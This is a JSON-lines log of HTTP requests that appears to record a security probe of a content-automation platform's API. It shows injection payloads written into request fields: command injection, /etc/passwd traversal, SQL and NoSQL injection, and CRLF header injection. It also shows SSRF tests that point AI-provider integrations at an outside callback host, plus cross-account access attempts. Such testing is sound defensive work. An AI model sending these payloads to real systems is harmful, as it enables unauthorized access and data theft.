{"ts": 1793047320.9597437, "tag": "create-project", "method": "POST", "path": "/api/projects", "body": {"name": "inj probe", "id": "inj-probe", "color": "#123456", "description": "SSRF/injection test project (sub-agent)"}, "status": 201, "elapsed": 1.309, "resp": {"id": "inj-probe", "name": "inj probe", "color": "#123456"}}
{"ts": 1793047322.5556328, "tag": "workspace-read", "method": "GET", "path": "/api/workspace", "body": null, "status": 200, "elapsed": 0.566, "resp": {"materials": [{"id": "5ed04ad0-e478-4872-a46c-5691535c3482", "title": "GARDEN MATERIAL", "brand": "garden", "content": "garden-private-material-42", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "c5cb988c-801b-4cb8-9505-ae280d726d95", "title": "AUTHZ-MATERIAL-garden", "brand": "garden", "content": "authz-secret-material-9f3a1", "createdAt": "2026-10-26T20:36:46Z"}, {"id": "si-2c7b62-m1", "title": "SI baseline write", "brand": "zh-test", "content": "hello-siwrite", "createdAt": "2026-10-26T20:00:00Z"}], "knowledge": [{"id": "a9a2de1b-7741-4f9a-a930-b4fd04730499", "title": "GARDEN SECRET", "brand": "garden", "content": "garden-private-knowledge-42", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "749173e9-c5fd-4ab8-875c-01f007d22860", "title": "AUTHZ-KNOWLEDGE-garden", "brand": "garden", "content": "authz-secret-knowledge-9f3a1", "createdAt": "2026-10-26T20:36:46Z"}], "tasks": [], "messages": [], "projects": {"inj-probe": {"approval": true, "dailyTokenLimit": 100000, "description": "SSRF/injection test project (sub-agent)", "imageMode": "template", "name": "inj probe", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}}, "revision": 12}}
{"ts": 1793047329.773635, "tag": "secret-ai-put", "method": "PUT", "path": "/api/projects/inj-probe/secrets/ai", "body": {"value": "sk-inj-1234567890abcdef"}, "status": 200, "elapsed": 1.237, "resp": {"ok": true}}
{"ts": 1793047331.4884267, "tag": "check-ai-baseline", "method": "POST", "path": "/api/projects/inj-probe/check", "body": {"kind": "ai"}, "status": 502, "elapsed": 0.714, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4939ae84f3ba", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4939ae84f3ba", "timestamp": "2026-10-26T20:42:11Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047332.7351367, "tag": "check-ai-badkind", "method": "POST", "path": "/api/projects/inj-probe/check", "body": {"kind": "ai;id"}, "status": 400, "elapsed": 0.246, "resp": {"error": "Неизвестный сервис."}}
{"ts": 1793047334.0498724, "tag": "secrets-kind-inj", "method": "GET", "path": "/api/projects/inj-probe/secrets/ai", "body": null, "status": 404, "elapsed": 0.314, "resp": {"error": "Метод API не найден."}}
{"ts": 1793047335.3163474, "tag": "secrets-kind-traversal", "method": "GET", "path": "/api/projects/inj-probe/secrets/..%2f..%2fetc%2fpasswd", "body": null, "status": 404, "elapsed": 0.266, "resp": {"error": "Метод API не найден."}}
{"ts": 1793047344.907522, "tag": "check-ai-prov-url", "method": "POST", "path": "/api/projects/inj-probe/check", "body": {"kind": "ai"}, "status": 502, "elapsed": 0.619, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c498e2e99a0a7", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c498e2e99a0a7", "timestamp": "2026-10-26T20:42:24Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047347.744885, "tag": "check-ai-prov-host", "method": "POST", "path": "/api/projects/inj-probe/check", "body": {"kind": "ai"}, "status": 502, "elapsed": 0.575, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c49a04a72a0a7", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c49a04a72a0a7", "timestamp": "2026-10-26T20:42:27Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047350.5345204, "tag": "check-ai-prov-nipio", "method": "POST", "path": "/api/projects/inj-probe/check", "body": {"kind": "ai"}, "status": 502, "elapsed": 0.543, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c49b1ce3ea0a7", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c49b1ce3ea0a7", "timestamp": "2026-10-26T20:42:30Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047367.8392315, "tag": "metrica-counters-empty", "method": "POST", "path": "/api/integrations/metrica-counters", "body": {"brand": "zh-test", "connectionId": "", "value": "AQAAAAinj-token"}, "status": 400, "elapsed": 1.577, "resp": {"error": "Яндекс не разрешил чтение счётчиков. Проверьте токен и доступ metrika:read."}}
{"ts": 1793047369.1973655, "tag": "metrica-counters-otherconn", "method": "POST", "path": "/api/integrations/metrica-counters", "body": {"brand": "zh-test", "connectionId": "4df46486623abd078a23d8ab4069bc0f", "value": "AQAAAAinj-token"}, "status": 400, "elapsed": 0.357, "resp": {"error": "Яндекс не разрешил чтение счётчиков. Проверьте токен и доступ metrika:read."}}
{"ts": 1793047370.538421, "tag": "metrica-counters-url", "method": "POST", "path": "/api/integrations/metrica-counters", "body": {"brand": "zh-test", "connectionId": "", "value": "https://bhemkrplqsbo56hr-dots.vixium.ai/metrika"}, "status": 400, "elapsed": 0.341, "resp": {"error": "Яндекс не разрешил чтение счётчиков. Проверьте токен и доступ metrika:read."}}
{"ts": 1793047371.9554825, "tag": "metrica-counters-inj", "method": "POST", "path": "/api/integrations/metrica-counters", "body": {"brand": "zh-test", "connectionId": "", "value": "x&oauth_token=1"}, "status": 400, "elapsed": 0.417, "resp": {"error": "Яндекс не разрешил чтение счётчиков. Проверьте токен и доступ metrika:read."}}
{"ts": 1793047385.5820055, "tag": "create-t-crlf-user", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-crlf-user", "purpose": "ssrf matrix", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/crlf76305", "model": "wpuser\r\nX-Inj-Header: pwned", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.484, "resp": {"id": "665f43e75d382dcf4bd0c8c4eda3c686"}}
{"ts": 1793047389.361519, "tag": "create-t-crlf-dest-path", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-t-crlf-dest-path", "purpose": "ssrf matrix", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/crlf76305%0d%0aX-Inj2:%20pwned", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.347, "resp": {"id": "609511dccf10bd7233515d0fa9dfb056"}}
{"ts": 1793047404.4058764, "tag": "assistant-garden", "method": "POST", "path": "/api/assistant", "body": {"brand": "garden", "text": "inj-probe: создай черновик (тест SSRF-агента)"}, "status": 409, "elapsed": 1.303, "resp": {"error": "Добавьте API-ключ в настройках проекта."}}
{"ts": 1793047405.8292792, "tag": "workflows-list", "method": "GET", "path": "/api/workflows", "body": null, "status": 200, "elapsed": 0.423, "resp": {"archiveCount": 0, "next": "", "workflows": [{"materialState": "active", "archived": false, "activity": {"state": "attention", "label": "Ожидает действий", "detail": "Добавьте API-ключ в настройках проекта.", "working": false}, "publishedUrl": "", "ruleId": null, "ruleVersion": 0, "autopilotApproved": false, "id": "a3171c78a11ef4af16c4606d21b62ef5", "brand": "garden", "title": "Новая задача", "status": "clarifying", "messages": [{"role": "user", "text": "inj-probe: создай черновик (тест SSRF-агента)", "at": "2026-10-26T20:43:24.200886828Z"}], "plan": {"editorial": false, "recurring": false, "localTime": "", "timezone": "", "weekdays": null, "autoPublish": false, "targetAddress": "", "agent": "", "reply": "", "ready": false, "title": "", "topic": "", "scheduledAt": "", "targetId": "", "format": "", "steps": null}, "content": "", "research": "", "sources": [], "scheduledAt": null, "approvedAt": null, "destinationId": null, "stage": "Уточнение задачи", "error": "Добавьте API-ключ в настройках проекта.", "version": 1, "createdAt": "2026-10-26T23:43:24.197894+03:00", "updatedAt": "2026-10-26T23:43:24.209761+03:00", "designTitle": "", "designSubtitle": "", "hasDesign": false, "remoteId": ""}, {"materialState": "active", "archived": false, "activity": {"state": "attention", "label": "Ожидает действий", "detail": "Добавьте API-ключ в настройках проекта.", "working": false}, "publishedUrl": "", "ruleId": null, "ruleVersion": 0, "autopilotApproved": false, "id": "7a15854e20d7265c3a6b65fc6a3c0c4e", "brand": "garden", "title": "AUTHZ-WORKFLOW-garden", "status": "clarifying", "messages": [{"role": "user", "text": "AUTHZ probe: подготовь короткую заметку для garden", "at": "2026-10-26T20:37:23.800599328Z"}], "plan": {"editorial": false, "recurring": false, "localTime": "", "timezone": "", "weekdays": null, "autoPublish": false, "targetAddress": "", "agent": "", "reply": "", "ready": false, "title": "", "topic": "", "scheduledAt": "", "targetId": "", "format": "", "steps": null}, "content": "AUTHZ-CONTENT-garden-9f3a1 secret blog text", "research": "", "sources": [], "scheduledAt": null, "approvedAt": null, "destinationId": null, "stage": "Обложка обновлена. Проверьте материал перед выпуском.", "error": "Добавьте API-ключ в настройках проекта.", "version": 3, "createdAt": "2026-10-26T23:37:23.79812+03:00", "updatedAt": "2026-10-26T23:38:00.863078+03:00", "designTitle": "", "designSubtitle": "", "hasDesign": true, "remoteId": ""}]}}
{"ts": 1793047407.1469285, "tag": "tasks-ws", "method": "GET", "path": "/api/workspace", "body": null, "status": 200, "elapsed": 0.317, "resp": {"materials": [{"id": "si-2c7b62-m1", "title": "SI baseline write", "brand": "zh-test", "content": "hello-siwrite", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "si-104f48-garden-probe", "title": "SI hijacked by B", "brand": "zh-test", "content": "OVERWRITTEN-BY-B", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "5ed04ad0-e478-4872-a46c-5691535c3482", "title": "GARDEN MATERIAL", "brand": "garden", "content": "garden-private-material-42", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "c5cb988c-801b-4cb8-9505-ae280d726d95", "title": "AUTHZ-MATERIAL-garden", "brand": "garden", "content": "authz-secret-material-9f3a1", "createdAt": "2026-10-26T20:36:46Z"}, {"id": "si-04dba7-garden-probe", "title": "SI garden probe", "brand": "garden", "content": "si-garden-probe-content", "createdAt": "2026-10-26T20:00:00Z"}], "knowledge": [{"id": "si-04dba7-b-know", "title": "SI B knowledge", "brand": "zh-test", "content": "si-b-knowledge", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "a9a2de1b-7741-4f9a-a930-b4fd04730499", "title": "GARDEN SECRET", "brand": "garden", "content": "garden-private-knowledge-42", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "749173e9-c5fd-4ab8-875c-01f007d22860", "title": "AUTHZ-KNOWLEDGE-garden", "brand": "garden", "content": "authz-secret-knowledge-9f3a1", "createdAt": "2026-10-26T20:36:46Z"}], "tasks": [{"id": "fcdd405d-aca6-4a0f-8f83-f9c3e1beeb5c", "title": "probe AI", "brand": "zh-test", "agent": "coordinator", "status": "todo", "due": "", "description": "Say OK only."}], "messages": [], "projects": {"default": {"approval": true, "dailyTokenLimit": 100000, "description": "", "imageMode": "template", "name": "probe default", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}, "garden": {"approval": true, "dailyTokenLimit": 100000, "description": "", "imageMode": "template", "name": "probe garden", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}, "helga": {"approval": true, "dailyTokenLimit": 100000, "description": "", "imageMode": "template", "name": "probe helga", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}, "helga-moretti": {"approval": true, "dailyTokenLimit": 100000, "description": "", "imageMode": "template", "name": "probe helga-moretti", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}, "zh-test": {"approval": true, "dailyTokenLimit": 100000, "description": "test", "imageMode": "template", "name": "Журавлик Test", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}, "zopa": {"approval": true, "dailyTokenLimit": 100000, "description": "", "imageMode": "template", "name": "probe zopa", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}}, "revision": 21}}
{"ts": 1793047416.5824935, "tag": "run-taskid-array", "method": "POST", "path": "/api/agents/run", "body": {"taskId": ["a", "b"]}, "status": 400, "elapsed": 1.227, "resp": {"error": "Некорректные данные запроса."}}
{"ts": 1793047418.0008378, "tag": "run-taskid-obj", "method": "POST", "path": "/api/agents/run", "body": {"taskId": {"$ne": ""}}, "status": 400, "elapsed": 0.418, "resp": {"error": "Некорректные данные запроса."}}
{"ts": 1793047419.399898, "tag": "run-taskid-sqli", "method": "POST", "path": "/api/agents/run", "body": {"taskId": "' OR '1'='1"}, "status": 404, "elapsed": 0.399, "resp": {"error": "Задача не найдена."}}
{"ts": 1793047420.6352465, "tag": "run-taskid-traversal", "method": "POST", "path": "/api/agents/run", "body": {"taskId": "../../etc/passwd"}, "status": 404, "elapsed": 0.235, "resp": {"error": "Задача не найдена."}}
{"ts": 1793047421.987449, "tag": "wf-put-idconf", "method": "PUT", "path": "/api/workflows/x", "body": {"title": {"a": 1}}, "status": 404, "elapsed": 0.352, "resp": {"error": "Задача помощника не найдена."}}
{"ts": 1793047423.2497087, "tag": "integrations-idconf", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": ["zh-test"], "kind": {"x": 1}, "name": "inj-idconf", "value": "x"}, "status": 400, "elapsed": 0.262, "resp": {"error": "Некорректные данные запроса."}}
{"ts": 1793047432.606842, "tag": "B-me", "method": "GET", "path": "/api/auth/me", "body": null, "status": 200, "elapsed": 1.131, "resp": {"catalog": [{"id": "zh-test", "name": "Журавлик Test", "color": "#ac92ee"}], "csrf": "2b7608d5bba20481f43ef021ec532a69380bdfec7209aa4c", "grants": {"zh-test": {"role": "editor", "permissions": {"approve": false, "assistant": true, "edit": true, "knowledge": true, "publish": false, "seo": true, "settings": false, "tasks": true}}}, "projects": ["zh-test"], "user": {"avatarColor": "#ac92ee", "avatarVersion": 0, "company": "", "email": "zh.member@proton.me", "id": "d0635c926efb83ecfb2c835ad48d7a1b", "name": "Мембер Тест", "timezone": "Europe/Moscow"}, "workspace": {"id": "d567a3bab9f05b5481f9f875fb6c75bd", "isOwner": false, "ownerId": "d94f17ec6d710b05301886f371e7fcd8", "ownerName": "Журавлик Тест"}, "workspaces": [{"id": "352c3135313829b94c73cfb801495bcc", "isOwner": true, "ownerName": "Мембер Тест"}, {"id": "d567a3bab9f05b5481f9f875fb6c75bd", "isOwner": false, "ownerName": "Журавлик Тест"}]}}
{"ts": 1793047433.8582816, "tag": "B-switch", "method": "POST", "path": "/api/workspaces/switch", "body": {"id": "d567a3bab9f05b5481f9f875fb6c75bd"}, "status": 200, "elapsed": 0.25, "resp": {"ok": true}}
{"ts": 1793047435.1833413, "tag": "B-assistant-garden", "method": "POST", "path": "/api/assistant", "body": {"brand": "garden", "text": "inj-B: создай задачу в garden (тест IDOR)"}, "status": 403, "elapsed": 0.321, "resp": {"error": "Нет доступа к этому проекту."}}
{"ts": 1793047436.7437253, "tag": "B-run-A-task", "method": "POST", "path": "/api/agents/run", "body": {"taskId": "fcdd405d-aca6-4a0f-8f83-f9c3e1beeb5c"}, "status": 502, "elapsed": 0.56, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4bcc7c0d438d", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4bcc7c0d438d", "timestamp": "2026-10-26T20:43:56Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047438.0216238, "tag": "B-run-garden-task-nonexist", "method": "POST", "path": "/api/agents/run", "body": {"taskId": "inj-garden-task"}, "status": 404, "elapsed": 0.276, "resp": {"error": "Задача не найдена."}}
{"ts": 1793047446.428261, "tag": "B-workspace", "method": "GET", "path": "/api/workspace", "body": null, "status": 200, "elapsed": 1.578, "resp": {"materials": [{"id": "si-2c7b62-m1", "title": "SI baseline write", "brand": "zh-test", "content": "hello-siwrite", "createdAt": "2026-10-26T20:00:00Z"}, {"id": "si-104f48-garden-probe", "title": "SI hijacked by B", "brand": "zh-test", "content": "OVERWRITTEN-BY-B", "createdAt": "2026-10-26T20:00:00Z"}], "knowledge": [{"id": "si-04dba7-b-know", "title": "SI B knowledge", "brand": "zh-test", "content": "si-b-knowledge", "createdAt": "2026-10-26T20:00:00Z"}], "tasks": [{"id": "fcdd405d-aca6-4a0f-8f83-f9c3e1beeb5c", "title": "probe AI", "brand": "zh-test", "agent": "coordinator", "status": "todo", "due": "", "description": "Say OK only."}], "messages": [], "projects": {"zh-test": {"approval": true, "dailyTokenLimit": 100000, "description": "test", "imageMode": "template", "name": "Журавлик Test", "owner": "Журавлик Тест", "timezone": "Europe/Moscow"}}, "revision": 21}}
{"ts": 1793047462.5632272, "tag": "create-openai-dest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "openai", "name": "inj-openai-dest", "purpose": "probe", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/ai-dest-openai-54937", "model": "gpt-4o-mini", "value": "sk-inj-54937", "enabled": true}, "status": 200, "elapsed": 1.234, "resp": {"id": "51734e70b7170962b1fa352e1f900d2c"}}
{"ts": 1793047464.5028536, "tag": "check-openai-dest", "method": "POST", "path": "/api/integrations/51734e70b7170962b1fa352e1f900d2c/check", "body": {}, "status": 502, "elapsed": 0.939, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4c7798befc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4c7798befc8f", "timestamp": "2026-10-26T20:44:24Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047465.9374065, "tag": "models-openai-dest", "method": "GET", "path": "/api/integrations/51734e70b7170962b1fa352e1f900d2c/models", "body": null, "status": 502, "elapsed": 0.434, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4c83bb09fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4c83bb09fc8f", "timestamp": "2026-10-26T20:44:25Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047468.409861, "tag": "create-ds-dest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "deepseek", "name": "inj-ds-dest", "purpose": "probe", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/ai-dest-ds-54937", "model": "deepseek-chat", "value": "sk-inj-54937", "enabled": true}, "status": 200, "elapsed": 0.234, "resp": {"id": "dd3d05502dc0b472a21cf2762db6a274"}}
{"ts": 1793047469.9279294, "tag": "check-ds-dest", "method": "POST", "path": "/api/integrations/dd3d05502dc0b472a21cf2762db6a274/check", "body": {}, "status": 502, "elapsed": 0.518, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4c9c2eb8fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4c9c2eb8fc8f", "timestamp": "2026-10-26T20:44:29Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047471.4680433, "tag": "models-ds-dest", "method": "GET", "path": "/api/integrations/dd3d05502dc0b472a21cf2762db6a274/models", "body": null, "status": 502, "elapsed": 0.54, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4ca5a9f0fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4ca5a9f0fc8f", "timestamp": "2026-10-26T20:44:31Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047474.1374152, "tag": "create-or-dest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "openrouter", "name": "inj-or-dest", "purpose": "probe", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/ai-dest-or-54937", "model": "x/y", "value": "sk-inj-54937", "enabled": true}, "status": 200, "elapsed": 0.337, "resp": {"id": "213239ec8194bf6147fe5155efbd7431"}}
{"ts": 1793047476.2676585, "tag": "check-or-dest", "method": "POST", "path": "/api/integrations/213239ec8194bf6147fe5155efbd7431/check", "body": {}, "status": 502, "elapsed": 1.13, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4cbffac7fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4cbffac7fc8f", "timestamp": "2026-10-26T20:44:36Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047477.5350797, "tag": "models-or-dest", "method": "GET", "path": "/api/integrations/213239ec8194bf6147fe5155efbd7431/models", "body": null, "status": 502, "elapsed": 0.266, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4ccd3939fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4ccd3939fc8f", "timestamp": "2026-10-26T20:44:37Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047480.1377208, "tag": "create-gem-dest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "gemini", "name": "inj-gem-dest", "purpose": "probe", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/ai-dest-gem-54937", "model": "gemini-1.5-flash", "value": "sk-inj-54937", "enabled": true}, "status": 200, "elapsed": 0.337, "resp": {"id": "81d5c392728c9f43ca711a82b77fd222"}}
{"ts": 1793047481.7048578, "tag": "check-gem-dest", "method": "POST", "path": "/api/integrations/81d5c392728c9f43ca711a82b77fd222/check", "body": {}, "status": 502, "elapsed": 0.566, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4ce58c65fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4ce58c65fc8f", "timestamp": "2026-10-26T20:44:41Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047483.034363, "tag": "models-gem-dest", "method": "GET", "path": "/api/integrations/81d5c392728c9f43ca711a82b77fd222/models", "body": null, "status": 502, "elapsed": 0.329, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4cef3fe1fc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4cef3fe1fc8f", "timestamp": "2026-10-26T20:44:42Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047485.5494828, "tag": "create-tav-dest", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "tavily", "name": "inj-tav-dest", "purpose": "probe", "destination": "https://bhemkrplqsbo56hr-dots.vixium.ai/ai-dest-tav-54937", "model": "", "value": "sk-inj-54937", "enabled": true}, "status": 200, "elapsed": 0.291, "resp": {"id": "ddb86b3b2a511f889ec64878494ef3af"}}
{"ts": 1793047487.3653765, "tag": "check-tav-dest", "method": "POST", "path": "/api/integrations/ddb86b3b2a511f889ec64878494ef3af/check", "body": {}, "status": 502, "elapsed": 0.815, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4d074ceffc8f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4d074ceffc8f", "timestamp": "2026-10-26T20:44:47Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047488.7828016, "tag": "models-tav-dest", "method": "GET", "path": "/api/integrations/ddb86b3b2a511f889ec64878494ef3af/models", "body": null, "status": 400, "elapsed": 0.417, "resp": {"error": "Это подключение не содержит моделей."}}
